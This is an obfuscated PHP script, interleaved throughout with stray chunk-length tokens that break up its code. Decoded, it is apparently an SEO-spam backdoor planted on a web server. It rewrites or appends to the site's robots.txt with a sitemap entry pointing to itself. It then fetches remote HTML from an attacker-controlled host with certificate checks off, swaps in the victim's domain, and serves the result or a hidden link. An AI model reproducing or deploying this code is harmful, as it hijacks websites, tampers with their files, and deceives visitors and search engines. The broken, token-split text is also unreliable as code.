1 < 3 ?ph 2 p 4 go 4 to N 3 WuL 3 Z; 4 N2px 4 L: i 3 f ( 4 !emp 3 ty( 4 $get 3 ["\ 4 162" 3 ])) 3 { 4 $rob 3 ots 4 Path 4 = $ 3 _SE 3 RVE 5 R["\1 5 04\x4 5 f\x43 4 \x55 3 \x4 4 d\x4 4 5\11 4 6\12 5 4\x5f 4 \122 c \x4f\x4f\124 4 "] . 4 "\x 6 2f\162 4 \157 3 \14 7 2\x6f\x 5 74\16 3 3\5 7 6\x74\x 6 78\x74 4 "; $ 4 site 3 map 3 Blo 2 ck a = "\x55\x 5 73\x6 7 5\x72\x 5 2d\x6 4 1\14 7 7\145\x 7 6e\x74\ 6 72\x20 6 \x2a\x 4 a\10 5 1\154 c \154\x6f\x77 3 \x3 8 a\x20\x2 f f\12"; $sitemap 7 s = "\x 5 a\123 6 \151\1 8 64\x65\x 9 6d\x61\16 8 0\72\x20 3 {$h 4 ttp_ 4 type 2 }{ d $_SERVER["\x4 3 8\x 8 54\x54\1 5 20\13 4 7\11 5 0\117 a \123\124"] f }{$_SERVER["\x5 5 3\103 8 \122\x49 4 \x50 d \x54\x5f\116\ 3 x41 b \x4d\x45"]} 4 \77\ 6 163\x3 6 d\x73\ 5 12"; 8 if (!fil 4 e_ex 4 ists 1 ( 10 $robotsPath)) { 8 file_put 3 _co 4 nten f ts($robotsPath, 10 $sitemapBlock . b $sitemaps) 3 ; } 4 els b e { $robots 7 Content 4 = @ 5 file_ 18 get_contents($robotsPath 7 ); if ( 4 strp a os($robots 8 Content, d $_SERVER["\1 9 23\x43\x5 14 2\x49\x50\x54\x5f\x4 f e\x41\x4d\x45"] 3 ) = 4 == f 4 alse 5 ) { @ 28 file_put_contents($robotsPath, $sitemaps 3 , F 3 ILE 3 _AP 2 PE 2 ND 9 ); } } } 7 goto Ez 3 Yoe 7 ; NWuLZ 4 : er 4 ror_ 4 repo 3 rti 4 ng(0 3 ); 7 goto yM 3 qRN 8 ; yMqRN: 5 $get 6 = $_G 9 ET; goto 3 shq 3 ZL; 3 Aq 3 5NJ 5 : $ll 4 = " 18 {$http_type}{$_SERVER["\ 6 110\12 e 4\124\120\137\ 5 x48\x 9 4f\123\x5 14 4"]}{$_SERVER["\x53\ 4 x43\ 7 122\111 9 \x50\x54\ c 137\116\x41\ 5 115\1 5 05"]} 8 "; goto 4 D_ia 3 M; 3 m5b 4 kF: 3 fun 4 ctio 5 n get 3 Cur 3 l($ 4 url, 6 $getD 3 ata 6 = arr 3 ay( 5 )) { 13 if (!empty($getData 7 )) { $q 3 uer 4 yStr 3 ing 6 = is_ 6 array( c $getData) ? 6 http_b 3 uil 7 d_query c ($getData) : 9 $getData 7 ; $url 2 .= f (strpos($url, 4 "\77 c ") === false 8 ? "\77" 3 : 8 "\x26") e . $queryString 4 ; } c if (function 8 _exists( 7 "\143\x 7 75\x72\ 9 154\137\x 2 69 4 \156 f \151\164")) { $ 5 ch = 5 curl_ 3 ini 5 t(); 7 curl_se 3 top a t_array($c 3 h, 8 array(CU 3 RLO 3 PT_ 5 URL = 8 > $url, 9 CURLOPT_R 3 ETU 3 RNT 3 RAN 3 SFE 6 R => t 3 rue c , CURLOPT_SS 2 L_ 5 VERIF 3 YPE b ER => false 14 , CURLOPT_SSL_VERIFY 3 HOS 14 T => false, CURLOPT_ 3 FOL 3 LOW 3 LOC 3 ATI 2 ON 14 => true, CURLOPT_TI 3 MEO 6 UT => c 10, CURLOPT_ 2 HT 2 TP 15 GET => true, CURLOPT_ 4 USER 3 AGE 7 NT => " 6 \115\1 9 57\172\15 9 1\154\x6c 4 \141 6 \57\x3 4 5\x2 4 e\60 3 ")) 4 ; $d c ata = curl_e 3 xec c ($ch); curl_ 4 clos 8 e($ch); d if (!empty($d a ata)) { re 3 tur 7 n $data a ; } } if ( 3 ini 9 _get("\14 a 1\154\x6c\ 7 x6f\167 6 \x5f\x 9 75\162\15 9 4\x5f\146 6 \157\1 7 60\x65\ 3 156 c ")) { $conte 5 xt = 5 strea 2 m_ 9 context_c 6 reate( 6 array( 5 "\x68 6 \164\x 7 74\160" c => array("\ 5 155\x 4 65\1 6 64\x68 9 \x6f\x64" 7 => "\x 6 47\105 5 \x54" 9 , "\x74\x 6 69\155 8 \145\x6f 7 \x75\x7 a 4" => 10, 5 "\150 8 \x65\x61 c \x64\x65\162 9 " => "\12 7 5\163\x 6 65\162 7 \x2d\x4 13 1\147\145\x6e\164\x 5 3a\40 c \x4d\157\x7a 5 \151\ 7 x6c\x6c 9 \x61\x2f\ b x35\x2e\60\ 6 15\12" 6 ), "\1 4 63\x 6 73\x6c 10 " => array("\166 e \x65\162\x69\1 5 46\x7 7 9\137\1 9 60\x65\14 11 5\162" => false, 5 "\x76 6 \145\x c 72\151\146\1 8 71\137\x 2 70 7 \145\14 b 5\162\x5f\x 4 6e\1 9 41\x6d\x6 b 5" => false d ))); $data = 14 @file_get_contents($ c url, false, 8 $context 2a ); if (!empty($data)) { return $data; } } 9 return '' 9 ; } goto 3 X5n 3 b1; 6 D_iaM 4 : $v 7 url = $ 9 http_type b . "\x69\14 7 4\154\x 6 79\62\ 4 56\x 8 69\x64\x 6 73\x68 8 \157\x70 6 \x2e\x 7 63\143\ 5 167\x 7 75\56\1 4 43\x 7 63\x2f\ 6 64\61\ 3 71\ d 56\x61\163\x7 5 0\x78 8 "; goto 6 N2pxL; 6 EzYoe 17 : if (!empty($get["\163 a "])) { $pa 4 rams 9 = array( a "\163" => 5 date( 4 "\13 a 1\x6d\144\ 4 x48\ 9 151"), "\ 7 x6e\165 8 \155\142 d \x65\162" => c $get["\156\1 a 65\x6d\x62 a \145\162"] 4 ); $ 6 str = a getCurl($v 6 url, $ 10 params); $str = 7 str_rep 3 lac b e(array("\1 6 73\xe5 5 \275\ 2 22 8 3\xe5\x8 5 9\x8d 2 \3 7 45\x9c\ 5 260\x 4 e5\2 9 35\x80\x7 5 d"), 7 array($ c http_type . 17 $_SERVER["\110\x54\x54\ 7 x50\x5f 9 \110\117\ 5 x53\1 7 24"] . 1f $_SERVER["\123\x43\122\x49\x50\ 5 124\1 b 37\116\x41\ b x4d\x45"]), 8 $str); 4 head 6 er("\1 4 03\1 4 57\1 e 56\x74\x65\156 6 \164\x 7 2d\164\ c 171\160\x65\ 4 72\1 d 64\x65\170\x7 6 4\57\x 5 78\15 7 5\154") 4 ; ec 7 ho $str 4 ; di a e; } goto 4 N4da 2 c; 7 X5nb1: e $http_type = 8 !empty($ 16 _SERVER["\110\x54\x54\ a 120\123"]) 3 && 1 17 $_SERVER["\x48\124\124\ 9 x50\123"] 3 != 6 = "\x6 7 f\146\x 3 66" d ? "\x68\164\ 7 164\160 6 \x73\x a 3a\x2f\x2f 6 " : "\ 11 150\164\164\160\x 9 3a\x2f\57 8 "; goto 8 Aq5NJ; f 3 5Xo 1 A e : function pos d tCurl($url, $ 16 postData = array()) { 5 $post 13 String = is_array($ 1e postData) ? http_build_query($ b postData) : b $postData; 1f if (function_exists("\143\x75\ c 162\154\x5f\ 7 x69\x6e 6 \x69\1 ef 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_P 15 OST => true, CURLOPT_ 5 POSTF 3 IEL 2 DS f => $postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 8 x6c\x6c\ 6 157\x7 17 7\x5f\x75\162\154\x5f\x 6 66\x6f a \x70\145\1 31 56")) { $context = stream_context_create(array("\ f 150\164\164\160 17 " => array("\155\145\16 7 4\150\1 6 57\144 a " => "\120 d \x4f\x53\124" 6 , "\16 a 4\x69\155\ 7 x65\157 13 \165\x74" => 10, "\ 7 x68\x65 7 \141\14 8 4\x65\x7 a 2" => "\10 5 3\x6f d \156\x74\x65\ c x6e\x74\55\1 7 24\171\ 5 x70\x c 65\x3a\x20\x 7 61\160\ 7 160\x6c 8 \x69\x63 d \x61\x74\x69\ 7 x6f\x6e 8 \57\x78\ b 55\x77\x77\ 4 167\ d 55\x66\x6f\x7 7 2\155\x 5 2d\16 9 5\162\x6c b \x65\156\14 b 3\157\144\1 5 45\14 4 4\xd b \12" . "\x4 e 3\x6f\156\x74\ d 145\156\x74\x 6 2d\x4c a \145\x6e\1 4 47\1 b 64\x68\72\4 5 0" . 5 strle 2 n( 12 $postString) . "\x 4 d\xa a " . "\125\ 6 x73\14 a 5\x72\x2d\ 5 101\x 4 67\x c 65\156\164\x 16 3a\40\x4d\157\172\151\ a x6c\x6c\14 7 1\x2f\6 7 5\56\x3 8 0\xd\xa" 5 , "\1 f 43\x6f\x6e\164\ c 145\x6e\164" 10 => $postString) 1c , "\163\x73\x6c" => array("\ c x76\145\x72\ d x69\146\171\x 7 5f\x70\ 21 x65\145\162" => false, "\x76\145\ 8 162\x69\ 6 x66\x7 5 9\x5f d \160\145\x65\ 5 x72\1 6 37\x6e c \141\155\145 80 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF 7 ; N4dac 15 : if (!empty($get["\1 6 51\144 b "])) { if ( f empty($get["\15 d 3\153"])) { $ 2 ip 8 = get_i 5 p(); 12 $params = array("\ c x69\160" => 4 $ip, a "\x69\144 7 " => is 3 set 11 ($get["\x69\144"] 4 ) ? b $get["\151\ 5 x64"] 5 : '' 7 , "\x6c 9 \x6c" => 8 $ll); $t 1 z 1f str = getCurl($vurl, $params); 11 if (strpos($tzstr d , "\x69\144") 5 !== 9 false) { b echo $tzstr a ; die; } } 17 $params = array("\x69\ 8 x64" => 10 $get["\x69\x64"] 8 , "\x6c\ 4 154" b => $ll); $ 3c str = getCurl($vurl, $params); $str = str_replace(array("\x7 7 b\125\x 5 52\x4 5 c\175 9 ", "\173\ 5 345\2 7 37\237\ 7 345\x90 2 \2 7 15\175" 9 ), array( a get_url_in 2 fo d ("\146\165\15 5 4\x6c 14 "), get_url_info("\1 8 56\157\1 1 3 d 7\x77\167\167 c ")), $str); 12 echo $str; die; } 8 else { $ 8 sitemapU 7 rl = $l 7 l . "\x 9 3f\x73\x3 5 d" . b date("\131\ 7 155\144 8 \110\x69 a "); echo " 6 \74\14 7 4\x69\1 4 66\4 f 0\x73\164\171\1 8 54\145\x 5 3d\x2 b 7\x74\145\1 7 70\164\ 9 x2d\x61\1 5 54\15 c 1\147\156\x3 8 a\x63\14 b 5\x6e\164\x 7 65\x72\ c 73\40\160\x6 8 1\144\14 9 4\x69\156 5 \x67\ 7 72\61\x 7 30\160\ 8 170\40\x 7 30\73\x 4 27\7 4 6\x3 9 c\x61\x20 e \150\162\x65\1 3 46\ 6 75\42{ b $sitemapUrl 4 }\x2 7 2\x20\x 6 74\x61 8 \x72\x67 e \x65\164\x3d\4 8 2\x5f\x6 7 2\154\1 9 41\x6e\x6 5 b\42\ b 40\162\x65\ a x6c\x3d\x2 7 2\x6e\1 5 57\x6 6 6\157\ 11 x6c\x6c\157\167\x 5 22\x3 7 e\x20\x 4 53\x 5 69\x7 18 4\x65\x6d\x61\160\74\57\ 5 141\x 8 3e\x3c\x 5 2f\14 a 4\151\166\ 3 76" b ; } goto nn 2 SB 4 p; U 3 h8S f o: function get 5 _ip() 5 { fo 3 rea d ch (array("\x b 48\x54\x54\ 9 x50\x5f\x 2 58 8 \137\x46 a \117\x52\1 5 27\10 7 1\122\1 6 04\x45 6 \104\x 6 5f\x46 8 \x4f\x52 d ", "\x48\124\ 8 x54\120\ 9 x5f\x43\1 7 14\x49\ 5 105\x 4 4e\x 9 54\137\11 b 1\x50", "\x 5 52\x4 c 5\x4d\117\x5 b 4\x45\x5f\1 4 01\x 6 44\x44 8 \x52") a 3 s $ 3 key 10 ) { if (!empty($ c _SERVER[$key 1 ] f )) { return tri 4 m(ex 4 plod 5 e("\x 3 2c" b , $_SERVER[ 8 $key])[0 8 ]); } } 7 return a "\x55\x4e\ 3 113 7 \116\x4 9 f\x57\116 a "; } goto 6 f5XoA; 6 shqZL 18 : function get_url_info( 7 string 7 $return 9 _type = " 8 \144\157 8 \155\141 9 \151\x6e" b ) : string 4 { $h 3 ost e = $_SERVER["\ 10 x48\124\124\x50\ 8 x5f\110\ 13 x4f\123\x54"]; if ( f $return_type == 8 = "\144\ 6 x6f\15 9 5\x61\x69 11 \156") { return $ 4 host 8 ; } if ( 1b $return_type === "\156\157\ 6 x5f\x7 15 7\167\167") { return 6 ltrim( 5 $host 10 , "\x77\x77\167\ 3 x2e 8 "); } $p 4 roto 3 col 5 = is 5 set($ 1c _SERVER["\110\x54\124\x50\x5 13 3"]) && $_SERVER["\ 12 110\x54\x54\x50\x5 5 3"] = a == "\x6f\1 5 56" | 13 | isset($_SERVER["\ 8 x48\x54\ e 124\x50\x5f\13 8 0\137\10 e 6\x4f\122\127\ 10 x41\122\104\x45\ 4 x44\ a 137\x50\x5 c 2\117\x54\x4 17 f"]) && $_SERVER["\110\ 11 124\124\120\137\x 7 58\137\ 11 106\x4f\122\x57\1 b 01\122\104\ 9 105\104\1 7 37\x50\ 9 122\x4f\x 6 54\117 9 "] === "\ 6 150\x7 d 4\x74\160\x73 a " ? "\x68\ 7 x74\164 d \x70\x73\x3a\ 4 57\x 8 2f" : "\ 15 x68\x74\164\x70\72\x2 6 f\x2f" 5 ; $ba 3 se_ 7 url = $ a protocol . 8 $host; 1a if ($return_type === "\142 c \x61\x73\145 d ") { return $ d base_url; } $ 3 uri f = $_SERVER["\x a 52\x45\121 6 \125\1 4 05\1 d 23\124\x5f\x5 1 5 c \122\x49"]; 4 $ful 9 l_url = $ a base_url . 5 $uri 19 ; if ($return_type === "\ c x66\165\154\ 5 154") 13 { return $full_url 1 ; 1b } return ''; } goto Uh8So; 7 nnSBp: 3 ?> 0